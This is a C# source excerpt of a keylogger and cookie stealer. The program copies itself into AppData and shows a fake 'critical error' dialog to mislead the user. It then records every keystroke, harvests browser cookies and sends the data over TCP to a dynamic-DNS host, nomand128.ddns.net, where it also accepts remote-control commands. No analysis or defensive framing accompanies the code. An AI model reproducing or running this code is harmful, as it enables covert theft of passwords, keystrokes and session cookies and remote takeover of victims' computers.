public static void Main() { var copied = SelfCopy(); if (!Application.ExecutablePath.Contains("AppData")) MessageBox.Show("Error loading resources for MyOwn.Band, Try reinstall mscorelib.dll or find Assemblies with merge dll core; \n Stack Trace: UNAVALIABLE"+ $"\n ERROR CODE : UNAVALIABLE\nMSL = {copied}\nCritical error occured, exiting!","ERROR!",MessageBoxButtons.OK,MessageBoxIcon.Error); CookieMonster.Lookup(); InterceptKeys.Init(key => { try { Package.AddKey(key); } catch (IndexOutOfRangeException) { new Thread(() => SendingService.Send(Package)).Start(); Package = new DataPackage(); Package.Keys.Add(key); } catch (FileNotFoundException e) { MessageBox.Show(e.Message); var wrt = new StreamWriter(File.Open(@"C:\Logs\Log.txt", FileMode.OpenOrCreate, FileAccess.ReadWrite)); wrt.WriteLine(e.Message + $"({e.FileName})"); } }); }
public static void Send(DataPackage package) { TcpClient client = new TcpClient(); byte[] b = package.GetBytesToSend(); Encoding.UTF8.GetString(b).ToTrace(); try { #if DEBUG client.Connect("127.0.0.1", 5555); #else // client.Connect("192.168.19.1", 5555); client.Connect(Dns.GetHostAddresses("nomand128.ddns.net")[0],5555); #endif var stream = client.GetStream(); b.Length.ToTrace(); stream.Write(b, 0, b.Length); byte[] bytes = new byte[128]; int index = 0; // reader.ReadByte(); byte readedByte; do { readedByte = (byte) stream.ReadByte(); bytes[index] = readedByte; index++; } while (readedByte != 0x0); try { HandleRequest(Encoding.UTF8.GetString(bytes).Replace("\0", "")); } catch (RemoteControllException e) { Trace.WriteLine("Remoting Error"); var errb = Encoding.UTF8.GetBytes("ERR" + Encoding.UTF8.GetString(BitConverter.GetBytes(e.ErrorCode))); Send(errb, DataType.Error); } finally { stream.Close(); stream.Dispose(); } SendStored(); } catch (Exception e) { /* if (File.Exists(@"C:\Logs\log.txt")) { using (StreamWriter wrt = new StreamWriter(File.Open(@"C:\Logs\log.txt", FileMode.Append))) { wrt.WriteLine(e.Message + e.StackTrace); } }*/ StorePackage(b); } client.Close(); }